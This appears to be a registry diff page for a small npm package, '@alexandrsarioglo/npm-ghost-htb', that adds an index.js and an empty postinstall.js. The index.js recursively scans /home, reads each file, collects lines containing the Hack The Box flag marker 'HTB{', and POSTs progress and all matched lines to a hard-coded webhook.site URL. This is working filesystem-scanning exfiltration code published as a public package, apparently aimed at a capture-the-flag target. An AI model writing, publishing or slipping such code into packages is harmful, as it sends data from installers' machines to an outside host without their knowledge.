@alexandrsarioglo/npm-ghost-htb 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +88 -0
- package/package.json +9 -0
- package/postinstall.js +0 -0
package/index.js
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
const WEBHOOK = 'https://webhook.site/f5545fb8-769e-42cb-8e10-c1e6b4b4a5d1'; // <-- put your URL
|
|
2
|
+
|
|
3
|
+
// async-scan-htb-json.js (CommonJS)
|
|
4
|
+
// Usage: node async-scan-htb-json.js [startPath]
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const fsp = require('fs/promises');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const { URL } = require('url');
|
|
11
|
+
|
|
12
|
+
function sendProgress(obj) { // async HTTP; event loop must be free to flush
|
|
13
|
+
try {
|
|
14
|
+
const u = new URL(WEBHOOK);
|
|
15
|
+
const proto = u.protocol === 'https:' ? https : http;
|
|
16
|
+
const req = proto.request({
|
|
17
|
+
hostname: u.hostname,
|
|
18
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
19
|
+
path: u.pathname + u.search,
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: {'Content-Type': 'application/json'}
|
|
22
|
+
});
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.end(JSON.stringify(obj));
|
|
25
|
+
} catch {}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
const EXCLUDES = new Set(['node_modules', '.git', '.cache', 'dist', 'build', 'site-packages', 'proc', 'sys', 'dev', 'run']);
|
|
29
|
+
const NEEDLE = /HTB\{/i;
|
|
30
|
+
const root = "/home";
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
const results = [];
|
|
34
|
+
let scanned = 0;
|
|
35
|
+
const YIELD_EVERY = 1000; // tune: how often to yield & send progress
|
|
36
|
+
|
|
37
|
+
async function inspectFile(filePath) {
|
|
38
|
+
try {
|
|
39
|
+
const data = await fsp.readFile(filePath, 'utf8');
|
|
40
|
+
const lines = data.split(/\r?\n/);
|
|
41
|
+
for (let i = 0; i < lines.length; i++) {
|
|
42
|
+
if (NEEDLE.test(lines[i])) {
|
|
43
|
+
results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
} catch {
|
|
47
|
+
// unreadable/binary -> skip
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
async function walk(dir, depth = 0) {
|
|
52
|
+
// yield periodically so HTTP can flush
|
|
53
|
+
scanned++;
|
|
54
|
+
if (scanned % YIELD_EVERY === 0) {
|
|
55
|
+
sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
|
|
56
|
+
await new Promise(r => setImmediate(r));
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// prune common virtual/system roots by prefix
|
|
60
|
+
for (const ex of EXCLUDES) {
|
|
61
|
+
if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
let entries;
|
|
65
|
+
try {
|
|
66
|
+
entries = await fsp.readdir(dir, { withFileTypes: true });
|
|
67
|
+
} catch {
|
|
68
|
+
return;
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
for (const ent of entries) {
|
|
72
|
+
const full = path.join(dir, ent.name);
|
|
73
|
+
if (ent.isDirectory()) {
|
|
74
|
+
if (!EXCLUDES.has(ent.name)) {
|
|
75
|
+
await walk(full, depth + 1);
|
|
76
|
+
}
|
|
77
|
+
} else if (ent.isFile()) {
|
|
78
|
+
await inspectFile(full);
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
(async () => {
|
|
84
|
+
console.log(`Scanning ${root} (excluding: ${[...EXCLUDES].join(', ')}) ...`);
|
|
85
|
+
sendProgress({ type: 'scan-start', root });
|
|
86
|
+
await walk(root);
|
|
87
|
+
sendProgress({ type: 'scan-complete', scanned, totalMatches: results.length, results });
|
|
88
|
+
})();
|
package/package.json
ADDED
package/postinstall.js
ADDED
|
File without changes
|